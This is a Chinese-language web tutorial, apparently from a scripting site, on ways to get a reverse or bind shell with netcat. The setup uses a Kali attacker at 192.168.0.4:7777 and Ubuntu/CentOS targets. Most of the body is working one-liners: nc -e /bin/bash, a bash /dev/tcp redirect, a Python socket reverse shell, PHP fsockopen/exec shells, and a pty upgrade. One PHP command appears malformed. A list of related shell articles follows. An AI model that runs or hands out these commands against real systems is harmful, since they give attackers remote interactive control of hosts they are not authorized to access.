详解NC反弹shell的几种方法
更新时间：2020年10月20日 11:44:36 作者：ctrl_TT豆
这篇文章主要介绍了详解NC反弹shell的几种方法，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧
假如ubuntu、CentOS为目标服务器系统
kali为攻击者的系统，ip为：192.168.0.4，开放7777端口且没被占用
最终是将ubuntu、CentOS的shell反弹到kali上
正向反弹shell
ubuntu或者CentOS上面输入
nc -lvp 7777 -e /bin/bash
kali上输入
nc ip 7777
正向反弹是目标机先执行nc命令，然后kali上再进行nc监听，即可反弹shell。
需要目标机安装nc。
反向反弹shell
方法1：bash反弹
bash -i >& /dev/tcp/ip/port 0>&1
但首先需要在kali上使用nc监听端口：
nc -lvp 7777
此方法在ubuntu下不会反弹成功，CentOS可以反弹成功。
方法2：python反弹
反弹shell的命令如下：
复制代码 代码如下:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
首先，使用nc在kali上监听端口：
nc -lvp 7777
在CentOS或者ubuntu下使用python去反向连接，输入：
复制代码 代码如下:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.4',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
此方法ubuntu和Linux均反弹成功。
方法3
首先在kali上输入nc监听：
nc -lvp 7777
在CentOS或者ubuntu 上使用nc去反向连接，命令如下：
nc -e /bin/bash 192.168.0.4 7777
方法4：php反弹shell
首先在kali上输入：
nc -lvp 7777
然后在目标机上输入：
php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'
或
php -r '$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
注意php反弹shell的这些方法都需要php关闭safe_mode这个选项，才可以使用exec函数。
遇到反弹后不是正常的shell，可用命令：
python -c 'import pty;pty.spawn("/bin/bash")'
转化为常规的shell。
到此这篇关于详解NC反弹shell的几种方法的文章就介绍到这了,更多相关NC反弹shell内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家！
您可能感兴趣的文章:
相关文章
这篇文章主要介绍了Shell执行/调用Java/Jar程序例子的实例详解的相关资料,这里提供实例帮助大家实现这样的功能，需要的朋友可以参考下2017-08-08
这篇文章主要介绍了Shell脚本编程中Shell变量的学习总结,需要的朋友可以参考下2014-03-03
下面小编就就为大家带来一篇关于vi和vim的区别及命令详解。小编觉得挺不错的，现在就分享给大家，也给大家做个参考。一起跟随小编过来看看吧2017-01-01
这篇文章主要给大家介绍了关于shell(bash) “time” 命令的输出，文中给出了详细的示例代码，相信对大家的理解和学习具有一定的参考借鉴价值，有需要的朋友们下面来一起看看吧。2016-12-12
本文主要介绍了shell脚本中set -e选项作用范围小结，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧2023-06-06
这篇文章主要介绍了Shell脚本实现精准清除Squid缓存,本文脚本是张宴同学脚本的个人优化版,生产环境使用效果不错,所以分享给大家,需要的朋友可以参考下2015-01-01
这篇文章给大家介绍了Linux解压缩文件的命令，感兴趣的朋友跟随脚本之家小编一起看看吧2018-05-05
这篇文章主要介绍了Shell字符串截取的详细方法,如截取指定字数、按指定的字符串截取、按指定要求分割,需要的朋友可以参考下2014-03-03
SHELL if命令参数介绍，方便学习shell命令的朋友，需要的朋友可以参考下2013-01-01
这篇文章主要介绍了使用Bash Shell对目录中的文件实现递归式拷贝,适用于Ubuntu等Debian系的Linux系统,需要的朋友可以参考下2015-07-07
最新评论